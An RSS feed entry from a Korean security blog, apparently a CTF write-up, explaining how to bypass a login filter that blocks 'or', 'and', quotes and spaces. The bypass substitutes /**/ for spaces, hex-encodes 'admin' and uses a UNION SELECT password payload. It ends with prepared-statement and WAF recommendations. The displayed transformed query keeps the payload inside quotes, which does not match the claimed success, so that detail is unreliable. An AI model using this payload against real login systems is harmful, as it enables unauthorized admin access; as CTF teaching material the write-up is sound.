&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;필터링 리스트&lt;/b&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1737517506522&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;filtering_list = ['or', 'and', '\'', '&quot;', ' ']&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;or, and&lt;/b&gt;: 논리 연산자가 필터링됨.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;작은 따옴표(')와 쌍따옴표(&quot;)&lt;/b&gt;: 문자열을 감싸는 따옴표가 필터링됨.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공백( )&lt;/b&gt;: 공백(띄어쓰기)이 필터링됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SQL 쿼리 구조&lt;/b&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1737517514496&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM user WHERE username = '{username}' AND password = '{password}'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 입력한 username과 password 값이 SQL 쿼리에 삽입되어 인증이 이루어짐.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;우회 전략&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 공백을 주석(/**/)으로 대체&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SQL에서는 주석(/**/)이 공백처럼 처리되므로, 필터링된 공백을 우회 가능.&lt;/li&gt;
&lt;li&gt;SELECT와 FROM 같은 구문 사이에 공백 대신 /**/ 사용.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 작은 따옴표를 16진수로 대체&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;admin 문자열을 &lt;b&gt;16진수 표현&lt;/b&gt;으로 변환:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;admin &amp;rarr; 0x61646d696e&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. UNION SELECT로 쿼리 조작&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;UNION SELECT를 사용하여 추가적인 데이터를 삽입.&lt;/li&gt;
&lt;li&gt;원하는 행을 반환하도록 결과를 조작.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;최종 입력값&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. username 필드&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빈 값 또는 무의미한 값 입력.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. password 필드&lt;/b&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1737517529489&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;union/**/select/**/1,0x61646d696e,0#&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;변환된 SQL 쿼리&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 입력값을 통해 쿼리는 다음과 같이 변환됩니다:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1737517537346&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM user WHERE username = '' AND password = 'union/**/select/**/1,0x61646d696e,0#';&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;쿼리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;union/**/select/**/1,0x61646d696e,0#&lt;/b&gt;:
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;union select&lt;/b&gt;: 기존 쿼리에 추가적인 행을 삽입.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;0x61646d696e&lt;/b&gt;: admin 문자열의 16진수 표현.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;/**/&lt;/b&gt;: 공백 필터링을 우회하기 위해 주석을 사용.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;#&lt;/b&gt;: 주석 처리 기호로 쿼리의 나머지 부분을 무시.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;이 쿼리는 password 필드에 삽입되어, admin 계정의 인증을 우회.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결과&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;SQL Injection 성공&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;필터링된 조건(공백, 따옴표 등)을 우회.&lt;/li&gt;
&lt;li&gt;admin 계정으로 로그인 성공.&lt;/li&gt;
&lt;li&gt;LOGIN_FLAG 획득.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;필터링된 조건&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;or, and, 작은 따옴표('), 쌍따옴표(&quot;), 공백( )이 필터링됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;우회 방법&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;공백&lt;/b&gt;: /**/ 주석으로 대체.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;작은 따옴표(')&lt;/b&gt;: 16진수 표현(0x61646d696e)으로 대체.&lt;/li&gt;
&lt;li&gt;**UNION SELECT**를 사용하여 쿼리 조작.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;보안 권고&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;프리페어드 스테이트먼트(Prepared Statement)&lt;/b&gt; 사용: 사용자 입력값을 SQL 쿼리와 분리하여 실행.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;입력 값 검증 강화&lt;/b&gt;: 16진수 표현, 주석 등을 통한 우회 가능성을 방지.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;WAF 룰 업데이트&lt;/b&gt;: 주석 처리 및 16진수 표현 필터링 추가.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 공격은 WAF의 기본적인 필터링 규칙을 우회할 수 있음을 보여주며, 보다 강력한 보안 조치가 필요하다는 점을 강조합니다.&lt;/p&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/242</guid>
      <comments>https://noong2.tistory.com/242#entry242comment</comments>
      <pubDate>Wed, 22 Jan 2025 12:45:48 +0900</pubDate>
    </item>
  </channel>
</rss>